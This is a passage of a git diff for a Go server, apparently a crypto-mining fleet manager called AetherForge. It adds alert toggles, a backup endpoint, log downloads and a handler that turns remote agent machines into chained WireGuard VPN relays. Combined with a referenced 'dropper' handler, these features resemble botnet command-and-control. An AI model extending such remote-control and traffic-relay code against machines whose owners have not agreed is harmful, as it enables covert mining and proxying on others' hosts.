TestEvaluatorOfflineAlert(t *testing.T) { var fired []AlertEvent e := &Evaluator{ thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} }, - notify: func() NotifyConfig { return NotifyConfig{} }, + settings: func() Settings { return NewSettings(NotifyConfig{}, EventToggles{AgentOffline: true}) }, broadcast: func(ev AlertEvent) { fired = append(fired, ev) }, baseline: make(map[string]float64), lastFired: make(map[string]time.Time), diff --git a/server/internal/alerts/notifier.go b/server/internal/alerts/notifier.go new file mode 100644 index 0000000..94afc22 --- /dev/null +++ b/server/internal/alerts/notifier.go @@ -0,0 +1,54 @@ +package alerts + +import "log" + +// Notifier sends Telegram/email when Calibrate toggles allow it. +type Notifier struct { + settings func() Settings +} + +func NewNotifier(settings func() Settings) *Notifier { + return &Notifier{settings: settings} +} + +func (n *Notifier) Emit(event string, title, body string) { + if n == nil || n.settings == nil { + return + } + s := n.settings() + if !n.eventEnabled(s, event) { + return + } + if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled { + return + } + log.Printf("[Notify] %s: %s", event, body) + NotifyAll(s.NotifyConfig, title, body) +} + +func (n *Notifier) eventEnabled(s Settings, event string) bool { + switch event { + case EventAgentConnect: + return s.Events.AgentConnect + case EventAgentReconnect: + return s.Events.AgentReconnect + case EventBuildComplete: + return s.Events.BuildComplete + case "offline": + return s.Events.AgentOffline + case "hashrate_drop": + return s.Events.HashrateDrop + case "rejection_rate": + return s.Events.RejectionRate + default: + return true + } +} + +// GetSettings exposes current settings (alert test handler). +func (n *Notifier) GetSettings() Settings { + if n == nil || n.settings == nil { + return Settings{} + } + return n.settings() +} diff --git a/server/internal/alerts/notifier_test.go b/server/internal/alerts/notifier_test.go new file mode 100644 index 0000000..9d5f32c --- /dev/null +++ b/server/internal/alerts/notifier_test.go @@ -0,0 +1,25 @@ +package alerts + +import "testing" + +func TestNotifierRespectsToggles(t *testing.T) { + n := NewNotifier(func() Settings { + return NewSettings( + NotifyConfig{TelegramBotToken: "t", TelegramChatID: "1"}, + EventToggles{AgentConnect: false, AgentReconnect: true}, + ) + }) + // disabled — no panic + n.Emit(EventAgentConnect, "title", "body") + n.Emit(EventAgentReconnect, "title", "body") +} + +func TestSettingsEnabledForAlertType(t *testing.T) { + s := NewSettings(NotifyConfig{}, EventToggles{AgentOffline: false, HashrateDrop: true}) + if s.EnabledForAlertType("offline") { + t.Fatal("expected offline disabled") + } + if !s.EnabledForAlertType("hashrate_drop") { + t.Fatal("expected hashrate enabled") + } +} diff --git a/server/internal/alerts/notify.go b/server/internal/alerts/notify.go index 6a0aa05..1a887d2 100644 --- a/server/internal/alerts/notify.go +++ b/server/internal/alerts/notify.go @@ -4,6 +4,7 @@ import ( "bytes" "encoding/json" "fmt" + "io" "net/http" "net/smtp" "strings" @@ -27,11 +28,11 @@ func SendTelegram(cfg NotifyConfig, text string) error { return nil } url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken) - body, _ := json.Marshal(map[string]string{ + payload, _ := json.Marshal(map[string]string{ "chat_id": cfg.TelegramChatID, "text": text, }) - req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body)) + req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(payload)) if err != nil { return err } @@ -42,8 +43,19 @@ func SendTelegram(cfg NotifyConfig, text string) error { return err } defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) if resp.StatusCode >= 300 { - return fmt.Errorf("telegram API status %d", resp.StatusCode) + msg := strings.TrimSpace(string(body)) + if msg == "" { + return fmt.Errorf("telegram API status %d", resp.StatusCode) + } + var apiErr struct { + Description string `json:"description"` + } + if json.Unmarshal(body, &apiErr) == nil && apiErr.Description != "" { + return fmt.Errorf("telegram: %s", apiErr.Description) + } + return fmt.Errorf("telegram API status %d: %s", resp.StatusCode, msg) } return nil } diff --git a/server/internal/alerts/settings.go b/server/internal/alerts/settings.go new file mode 100644 index 0000000..0c9641e --- /dev/null +++ b/server/internal/alerts/settings.go @@ -0,0 +1,41 @@ +package alerts + +// Event toggles — all default true in server DefaultConfig. +type EventToggles struct { + AgentConnect bool + AgentReconnect bool + AgentOffline bool + HashrateDrop bool + RejectionRate bool + BuildComplete bool +} + +// Settings combines delivery credentials with per-event toggles. +type Settings struct { + NotifyConfig + Events EventToggles +} + +func NewSettings(nc NotifyConfig, ev EventToggles) Settings { + return Settings{NotifyConfig: nc, Events: ev} +} + +// EnabledForAlertType maps evaluator alert types to toggles. +func (s Settings) EnabledForAlertType(alertType string) bool { + switch alertType { + case "offline": + return s.Events.AgentOffline + case "hashrate_drop": + return s.Events.HashrateDrop + case "rejection_rate": + return s.Events.RejectionRate + default: + return true + } +} + +const ( + EventAgentConnect = "agent_connect" + EventAgentReconnect = "agent_reconnect" + EventBuildComplete = "build_complete" +) diff --git a/server/internal/api/backup_handler.go b/server/internal/api/backup_handler.go new file mode 100644 index 0000000..21e3c4b --- /dev/null +++ b/server/internal/api/backup_handler.go @@ -0,0 +1,74 @@ +package api + +import ( + "archive/zip" + "bytes" + "fmt" + "net/http" + "os" + "path/filepath" + "time" +) + +// BackupHandler serves GET /api/v1/backup. +// It returns a zip containing config.json, users.json, miner.db, and a +// backup-info.txt with the timestamp and server version. The caller must +// already be authenticated via basicAuthMiddleware (registered in router.go). +type BackupHandler struct { + dataDir string + serverVersion string +} + +// NewBackupHandler creates a BackupHandler for the given data directory. +func NewBackupHandler(dataDir, serverVersion string) *BackupHandler { + return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion} +} + +func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + + now := time.Now().UTC() + dateTag := now.Format("2006-01-02") + + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + + // backup-info.txt + info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n", + now.Format(time.RFC3339), h.serverVersion) + if fw, err := zw.Create("backup-info.txt"); err == nil { + _, _ = fw.Write([]byte(info)) + } + + // Helper: add a file from disk into the zip, skip gracefully if missing. + addFile := func(name, diskPath string) { + data, err := os.ReadFile(diskPath) + if err != nil { + return + } + fw, err := zw.Create(name) + if err != nil { + return + } + _, _ = fw.Write(data) + } + + addFile("config.json", filepath.Join(h.dataDir, "config.json")) + addFile("users.json", filepath.Join(h.dataDir, "users.json")) + addFile("miner.db", filepath.Join(h.dataDir, "miner.db")) + + if err := zw.Close(); err != nil { + http.Error(w, "Failed to create backup zip", http.StatusInternalServerError) + return + } + + filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag) + w.Header().Set("Content-Type", "application/zip") + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename)) + w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len())) + w.WriteHeader(http.StatusOK) + _, _ = w.Write(buf.Bytes()) +} diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 521de97..cdfe291 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -8,6 +8,8 @@ import ( "log" "net" "net/http" + "os" + "path/filepath" "strconv" "strings" "sync" @@ -35,6 +37,7 @@ type FleetHandler struct { pools *pool.Manager alerts *alerts.Evaluator defaultPool pool.Config + dataDir string // XMR price cache — per-handler so multiple routers in one process stay isolated. xmrPriceMu sync.Mutex @@ -52,7 +55,7 @@ type poolEarningsCache struct { const earningsCacheTTL = 5 * time.Minute -func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler { +func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler { return &FleetHandler{ db: database, ws: ws, @@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo pools: pools, alerts: evaluator, defaultPool: defaultPool, + dataDir: dataDir, } } @@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) { writeJSON(w, f.alerts.ActiveAlerts()) } +// PostAlertTest fires a test notification on every configured channel and +// returns per-channel results without raising a real fleet alert. +func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) { + const testMsg = "AetherForge test notification — alerts are configured correctly" + + type channelResult struct { + Sent bool `json:"sent"` + Error *string `json:"error"` + } + + result := map[string]channelResult{} + + if f.alerts == nil { + errStr := "alert evaluator not configured" + result["telegram"] = channelResult{Sent: false, Error: &errStr} + result["smtp"] = channelResult{Sent: false, Error: &errStr} + writeJSON(w, result) + return + } + + cfg := f.alerts.GetNotifyConfig() + + // Telegram + if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" { + errStr := "not configured" + result["telegram"] = channelResult{Sent: false, Error: &errStr} + } else if err := alerts.SendTelegram(cfg, testMsg); err != nil { + errStr := err.Error() + result["telegram"] = channelResult{Sent: false, Error: &errStr} + } else { + result["telegram"] = channelResult{Sent: true} + } + + // SMTP + if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" { + errStr := "not configured" + result["smtp"] = channelResult{Sent: false, Error: &errStr} + } else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil { + errStr := err.Error() + result["smtp"] = channelResult{Sent: false, Error: &errStr} + } else { + result["smtp"] = channelResult{Sent: true} + } + + writeJSON(w, result) +} + func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) { if f.pools == nil { writeJSON(w, []pool.PoolStatus{}) @@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) { // The dashboard will receive the log content via the commandResults queue. _ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300}) } + + if r.URL.Query().Get("download") == "1" { + // If the in-memory buffer is empty, try the persisted log file on disk. + if content == "" && f.dataDir != "" { + logPath := filepath.Join(f.dataDir, "logs", id+".log") + if data, err := os.ReadFile(logPath); err == nil { + content = string(data) + } + } + date := time.Now().UTC().Format("2006-01-02") + filename := fmt.Sprintf("agent-%s-%s.log", id, date) + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`) + fmt.Fprint(w, content) + return + } + writeJSON(w, map[string]interface{}{ "agent_id": id, "content": content, diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index 0ef09d4..298a99a 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI t.Cleanup(func() { _ = database.Close() }) ws := NewWSHub(database) ai := NewAIHandler(database) - fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}) + fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "") return fh, database, ws, ai } @@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) { evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{OfflineMinutes: 5} - }, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil) + }, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil) evaluator.RunOnce() - fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}) + fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "") rec := httptest.NewRecorder() fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil)) if rec.Code != http.StatusOK { @@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) { } } +func TestFleetPostAlertTestUnconfigured(t *testing.T) { + evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} }, + func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil) + fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "") + rec := httptest.NewRecorder() + fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil)) + if rec.Code != http.StatusOK { + t.Fatalf("status %d", rec.Code) + } + var body map[string]struct { + Sent bool `json:"sent"` + Error *string `json:"error"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body["telegram"].Sent || body["smtp"].Sent { + t.Fatalf("expected no sends, got %+v", body) + } + if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" { + t.Fatalf("telegram: %+v", body["telegram"]) + } +} + +func TestFleetPostAlertTestNilEvaluator(t *testing.T) { + fh, _, _, _ := newTestFleetHandler(t) + rec := httptest.NewRecorder() + fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil)) + if rec.Code != http.StatusOK { + t.Fatalf("status %d", rec.Code) + } + var body map[string]struct { + Error *string `json:"error"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" { + t.Fatalf("got %+v", body["telegram"]) + } +} + func TestFleetGetPoolStatusNilManager(t *testing.T) { fh, _, _, _ := newTestFleetHandler(t) rec := httptest.NewRecorder() @@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) { fh, _, ws, _ := newTestFleetHandler(t) t.Run("nil ws", func(t *testing.T) { - bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool) + bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "") rec := httptest.NewRecorder() req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`)) fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req) @@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) { fh, _, _, _ := newTestFleetHandler(t) t.Run("nil ws", func(t *testing.T) { - bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool) + bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "") rec := httptest.NewRecorder() req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command", strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`)) diff --git a/server/internal/api/handlers.go b/server/internal/api/handlers.go index 695fe29..fc08a23 100644 --- a/server/internal/api/handlers.go +++ b/server/internal/api/handlers.go @@ -4,12 +4,15 @@ import ( "encoding/json" "net/http" "strconv" + "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" ) +var serverStartTime = time.Now() + type Handler struct { db *db.Database } @@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) { writeJSON(w, map[string]string{"status": "ok"}) } +// GET /api/v1/server/ready +// Requires auth (not in the basicAuthMiddleware bypass list). +// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check. +func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) { + uptime := int64(time.Since(serverStartTime).Seconds()) + resp := map[string]interface{}{ + "status": "ok", + "uptime_s": uptime, + } + + if r.URL.Query().Get("verbose") != "1" { + writeJSON(w, resp) + return + } + + // DB ping + dbStatus := "ok" + if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil { + dbStatus = "error: " + err.Error() + resp["status"] = "degraded" + } + resp["db"] = dbStatus + + // Count online agents + var onlineAgents int + if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil { + onlineAgents = -1 + } + resp["agents_online"] = onlineAgents + + if resp["status"] == "degraded" { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusServiceUnavailable) + json.NewEncoder(w).Encode(resp) + return + } + writeJSON(w, resp) +} + // GET /api/v1/builds func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) { builds, err := h.db.ListBuilds(50) diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index d7c5d6e..447f09e 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { cfg := &mockConfigProvider{} configHandler := NewConfigHandler(cfg) aiHandler := NewAIHandler(database) - fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) + fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) diff --git a/server/internal/api/pathtracer_handler.go b/server/internal/api/pathtracer_handler.go new file mode 100644 index 0000000..18d51d0 --- /dev/null +++ b/server/internal/api/pathtracer_handler.go @@ -0,0 +1,455 @@ +package api + +import ( + "crypto/rand" + "encoding/base64" + "encoding/json" + "fmt" + "image/color" + "image/png" + "log" + "net/http" + "strings" + "sync" + "time" + + "github.com/go-chi/chi/v5" + "github.com/google/uuid" + qrcode "github.com/skip2/go-qrcode" + + "golang.org/x/crypto/curve25519" +) + +// ── types ───────────────────────────────────────────────────────────────────── + +// HopStatus tracks one agent's progress in a trace session. +type HopStatus string + +const ( + HopPending HopStatus = "pending" + HopReady HopStatus = "ready" + HopFailed HopStatus = "failed" +) + +// HopInfo records what we know about each hop in the chain. +type HopInfo struct { + AgentID string `json:"agent_id"` + AgentName string `json:"agent_name"` + ExternalIP string `json:"external_ip"` + Port int `json:"port"` + PublicKey string `json:"public_key"` + PrivateKey string `json:"-"` // never sent to client + LocalAddr string `json:"local_addr"` + Status HopStatus `json:"status"` + Error string `json:"error,omitempty"` +} + +// TraceSession holds all state for one active VPN session. +type TraceSession struct { + ID string `json:"id"` + AgentIDs []string `json:"agent_ids"` + Hops []*HopInfo `json:"hops"` + Ready bool `json:"ready"` + Error string `json:"error,omitempty"` + CreatedAt time.Time `json:"created_at"` + // Client WireGuard keypair — used to build the QR config. + clientPrivKey string + clientPubKey string +} + +// PathTracerHandler manages on-demand WireGuard chain sessions. +type PathTracerHandler struct { + hub *WSHub + mu sync.Mutex + sessions map[string]*TraceSession +} + +func NewPathTracerHandler(hub *WSHub) *PathTracerHandler { + return &PathTracerHandler{ + hub: hub, + sessions: make(map[string]*TraceSession), + } +} + +// ── HTTP handlers ───────────────────────────────────────────────────────────── + +// POST /api/v1/pathtrace/start +// Body: {"agent_ids": ["id1","id2",...]} +func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) { + var req struct { + AgentIDs []string `json:"agent_ids"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 { + http.Error(w, "agent_ids required", http.StatusBadRequest) + return + } + if len(req.AgentIDs) > 3 { + http.Error(w, "max 3 hops supported", http.StatusBadRequest) + return + } + + clientPriv, clientPub, err := generateServerWGKeyPair() + if err != nil { + http.Error(w, "keygen failed", http.StatusInternalServerError) + return + } + + sess := &TraceSession{ + ID: uuid.New().String(), + AgentIDs: req.AgentIDs, + CreatedAt: time.Now(), + clientPrivKey: clientPriv, + clientPubKey: clientPub, + } + + // Build hops with placeholder names (agent name lookup below). + for i, id := range req.AgentIDs { + sess.Hops = append(sess.Hops, &HopInfo{ + AgentID: id, + AgentName: fmt.Sprintf("hop-%d", i+1), + LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4 + Port: 51820, + Status: HopPending, + }) + } + + h.mu.Lock() + h.sessions[sess.ID] = sess + h.mu.Unlock() + + // Orchestrate asynchronously so the HTTP response returns quickly. + go h.orchestrate(sess) + + writeJSON(w, map[string]interface{}{ + "session_id": sess.ID, + "hops": sess.Hops, + }) +} + +// GET /api/v1/pathtrace/{id}/status +func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) { + sess := h.getSession(chi.URLParam(r, "id")) + if sess == nil { + http.Error(w, "session not found", http.StatusNotFound) + return + } + h.mu.Lock() + defer h.mu.Unlock() + writeJSON(w, map[string]interface{}{ + "session_id": sess.ID, + "ready": sess.Ready, + "error": sess.Error, + "hops": sess.Hops, + }) +} + +// GET /api/v1/pathtrace/{id}/qr +func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) { + sess := h.getSession(chi.URLParam(r, "id")) + if sess == nil { + http.Error(w, "session not found", http.StatusNotFound) + return + } + h.mu.Lock() + ready := sess.Ready + h.mu.Unlock() + if !ready { + http.Error(w, "session not ready yet", http.StatusAccepted) + return + } + + cfg := h.buildClientConfig(sess) + + // Return format: ?format=png → PNG image, default → JSON with text+png. + if r.URL.Query().Get("format") == "png" { + qr, err := qrcode.New(cfg, qrcode.High) + if err != nil { + http.Error(w, "qr generation failed", http.StatusInternalServerError) + return + } + qr.BackgroundColor = color.Black + qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green + img := qr.Image(400) + w.Header().Set("Content-Type", "image/png") + _ = png.Encode(w, img) + return + } + + qr, err := qrcode.Encode(cfg, qrcode.High, 300) + if err != nil { + http.Error(w, "qr generation failed", http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{ + "config": cfg, + "qr_png_b64": base64.StdEncoding.EncodeToString(qr), + }) +} + +// DELETE /api/v1/pathtrace/{id} +func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + sess := h.getSession(id) + if sess == nil { + http.Error(w, "session not found", http.StatusNotFound) + return + } + + // Tell all agents to tear down. + for _, hop := range sess.Hops { + _ = h.hub.writeAgentJSON(hop.AgentID, Message{ + Type: "command", + Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}), + }) + } + + h.mu.Lock() + delete(h.sessions, id) + h.mu.Unlock() + + writeJSON(w, map[string]interface{}{"ok": true}) +} + +// ── orchestration ───────────────────────────────────────────────────────────── + +func (h *PathTracerHandler) orchestrate(sess *TraceSession) { + log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops)) + + // Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs. + type setupResp struct { + hop *HopInfo + pub string + ip string + port int + err string + } + results := make(chan setupResp, len(sess.Hops)) + + for _, hop := range sess.Hops { + hop := hop + ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup") + err := h.hub.writeAgentJSON(hop.AgentID, Message{ + Type: "command", + Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}), + }) + if err != nil { + h.hub.CancelAwait(hop.AgentID, "wg_setup") + results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()} + continue + } + go func() { + select { + case payload := <-ch: + msgStr, _ := payload["message"].(string) + // message is JSON-encoded WGSetupResult + var res struct { + PublicKey string `json:"public_key"` + ExternalIP string `json:"external_ip"` + ExternalPort int `json:"external_port"` + Error string `json:"error"` + } + if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil { + results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()} + return + } + if res.Error != "" { + results <- setupResp{hop: hop, err: res.Error} + return + } + p := res.ExternalPort + if p == 0 { + p = 51820 + } + // If UPnP failed, fall back to the IP the server saw. + ip := res.ExternalIP + if ip == "" { + if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil { + ip = hop.ExternalIP // pre-filled below + } + } + results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p} + case <-time.After(20 * time.Second): + results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"} + } + }() + } + + // Collect Phase 1 results. + for range sess.Hops { + r := <-results + h.mu.Lock() + if r.err != "" { + r.hop.Status = HopFailed + r.hop.Error = r.err + sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err + } else { + r.hop.PublicKey = r.pub + r.hop.ExternalIP = r.ip + r.hop.Port = r.port + r.hop.Status = HopReady + } + h.mu.Unlock() + } + + // If any hop failed at setup, abort. + h.mu.Lock() + anyFailed := false + for _, hop := range sess.Hops { + if hop.Status == HopFailed { + anyFailed = true + break + } + } + h.mu.Unlock() + if anyFailed { + log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8]) + return + } + + // Phase 2: send wg_configure to each hop. + // Build per-hop configs: + // - Last hop: peer = none (it's the exit), just IP forwarding + // - Middle hops: peer = next hop + // - First hop: peer = next hop, or none if single-hop (client connects directly) + // + // The CLIENT config always points to the FIRST hop. + + type cfgResp struct { + hop *HopInfo + err string + } + cfgResults := make(chan cfgResp, len(sess.Hops)) + + for i, hop := range sess.Hops { + hop := hop + i := i + + payload := map[string]interface{}{ + "session_id": sess.ID, + "private_key": "", // agent uses its own generated key + "local_address": hop.LocalAddr, + "listen_port": hop.Port, + "enable_ip_forwarding": true, + } + + // Peers for this hop: only for relay hops (all except the exit/last hop). + if i < len(sess.Hops)-1 { + nextHop := sess.Hops[i+1] + payload["peers"] = []map[string]interface{}{ + { + "public_key": nextHop.PublicKey, + "endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port), + "allowed_ips": "0.0.0.0/0", + "persistent_keepalive": 25, + }, + } + } else { + payload["peers"] = []map[string]interface{}{} + } + + dataJSON, _ := json.Marshal(payload) + + ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure") + _ = h.hub.writeAgentJSON(hop.AgentID, Message{ + Type: "command", + Payload: mustMarshal(map[string]interface{}{ + "action": "wg_configure", + "data": string(dataJSON), + }), + }) + + go func() { + select { + case p := <-ch: + success, _ := p["success"].(bool) + if !success { + msg, _ := p["message"].(string) + cfgResults <- cfgResp{hop: hop, err: msg} + return + } + cfgResults <- cfgResp{hop: hop} + case <-time.After(60 * time.Second): + cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"} + } + }() + } + + for range sess.Hops { + r := <-cfgResults + h.mu.Lock() + if r.err != "" { + r.hop.Status = HopFailed + r.hop.Error = r.err + if sess.Error == "" { + sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err + } + } + h.mu.Unlock() + } + + h.mu.Lock() + allReady := true + for _, hop := range sess.Hops { + if hop.Status != HopReady { + allReady = false + } + } + if allReady { + sess.Ready = true + } + h.mu.Unlock() + + log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady) +} + +// buildClientConfig generates the WireGuard config text the user scans/imports. +func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string { + h.mu.Lock() + defer h.mu.Unlock() + + var sb strings.Builder + sb.WriteString("[Interface]\n") + sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n") + sb.WriteString("Address = 10.66.0.1/24\n") + sb.WriteString("DNS = 1.1.1.1\n\n") + + // Phone always connects to the first hop. + first := sess.Hops[0] + sb.WriteString("[Peer]\n") + sb.WriteString("PublicKey = " + first.PublicKey + "\n") + sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port)) + sb.WriteString("AllowedIPs = 0.0.0.0/0\n") + sb.WriteString("PersistentKeepalive = 25\n") + + return sb.String() +} + +// ── helpers ─────────────────────────────────────────────────────────────────── + +func (h *PathTracerHandler) getSession(id string) *TraceSession { + h.mu.Lock() + defer h.mu.Unlock() + return h.sessions[id] +} + +// getAgentConnByID returns the AgentConnection for the given ID (nil if offline). +func (h *WSHub) getAgentConnByID(id string) *AgentConnection { + h.mu.RLock() + defer h.mu.RUnlock() + return h.agents[id] +} + +func generateServerWGKeyPair() (privB64, pubB64 string, err error) { + var priv [32]byte + if _, err = rand.Read(priv[:]); err != nil { + return + } + priv[0] &= 248 + priv[31] &= 127 + priv[31] |= 64 + var pub [32]byte + curve25519.ScalarBaseMult(&pub, &priv) + privB64 = base64.StdEncoding.EncodeToString(priv[:]) + pubB64 = base64.StdEncoding.EncodeToString(pub[:]) + return +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 00c03d2..b6544a1 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler { ensureUsersLoaded(dataDir) + version := "AetherForge" + if len(serverVersion) > 0 && serverVersion[0] != "" { + version = serverVersion[0] + } + r := chi.NewRouter() // Middleware (global) @@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler h := NewHandler(database) r.Get("/health", h.HealthCheck) + r.Get("/server/ready", h.ServerReady) r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) { override := "" if publicURLOverride != nil { @@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Fleet ops if fleetHandler != nil { r.Get("/alerts", fleetHandler.GetAlerts) + r.Post("/alerts/test", 